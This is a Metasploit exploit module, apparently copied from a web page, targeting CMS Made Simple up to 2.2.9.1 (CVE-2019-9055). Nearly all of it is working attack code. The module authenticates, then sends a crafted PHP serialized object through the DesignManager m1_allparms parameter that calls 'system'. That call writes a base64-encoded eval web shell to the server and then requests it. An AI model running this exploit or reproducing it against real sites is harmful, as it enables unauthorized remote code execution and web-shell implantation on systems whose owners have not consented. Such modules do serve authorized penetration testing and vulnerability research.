Share
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'CMS Made Simple Authenticated RCE via object injection',
      'Description' => %q(
        An issue was discovered in CMS Made Simple 2.2.8.
        In the module DesignManager (in the files action.admin_bulk_css.php
        and action.admin_bulk_template.php), with an unprivileged user
        with Designer permission, it is possible to reach an unserialize
        call with a crafted value in the m1_allparms parameter,
        and achieve object injection.

        This module has been successfully tested on CMS Made Simple versions
        2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
      ),
      'Author' => [
        'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-9055'],
        ['CWE', '74'],
        ['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],
        ['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']
      ],
      'Privileged' => false,
      'Platform' => ['php'],
      'Arch' => [ARCH_PHP],
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 26 2019'))
    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),
        OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
        OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
      ]
    )
    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def multipart_form_data(uri, data, message)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'data' => data,
      'ctype' => "multipart/form-data; boundary=#{message.bound}",
      'cookie' => @cookies
    )
  end

  def post(uri, data)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', uri),
      'method' => 'POST',
      'vars_post' => data,
      'cookie' => @cookies
    )
  end

  def get(path, filename)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, path, filename),
      'method' => 'GET'
    )
  end

  def check
    res = get('', 'index.php')
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.body.match?(/CMS Made Simple/i)
      return CheckCode::Safe
    end

    version = Gem::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
    vprint_status("#{peer} - CMS Made Simple Version: #{version}")

    if version <= Gem::Version.new('2.2.9.1')
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def login
    data = {
      'username' => datastore['USERNAME'],
      'password' => datastore['PASSWORD'],
      'loginsubmit' => 'Submit'
    }
    res = post('login.php', data)

    unless res
      fail_with(Failure::Unreachable,
        'A response was not received from the remote host')
    end

    unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}
      fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
    end
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    vprint_good("#{peer} - Authentication successful")
    @csrf_name = Regexp.last_match(1)
    csrf_val = Regexp.last_match(2)
    @csrf = { @csrf_name => csrf_val }
    @cookies = res.get_cookies
  end

  def send_injection
    # prepare shell command
    shell_name = rand_text_alpha(8..12) + '.php'
    cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')
    cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"

    # prepare serialized object
    final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'
    final_payload += "\x00" + 'dm_xml_reader' + "\x00"
    final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'
    final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"
    final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'
    final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'

    # create message with payload
    message = Rex::MIME::Message.new
    message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")
    message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')
    message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')
    data = message.to_s

    # send payload
    payload_res = multipart_form_data('moduleinterface.php', data, message)
    fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res
    register_files_for_cleanup(shell_name)
    # open shell
    res = get('admin', shell_name)
    if res && res.code == 404
      print_error "Shell #{shell_name} not found"
    end
  end

  def exploit
    unless [CheckCode::Detected, CheckCode::Appears].include?(check)
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end
    login
    send_injection
  end
end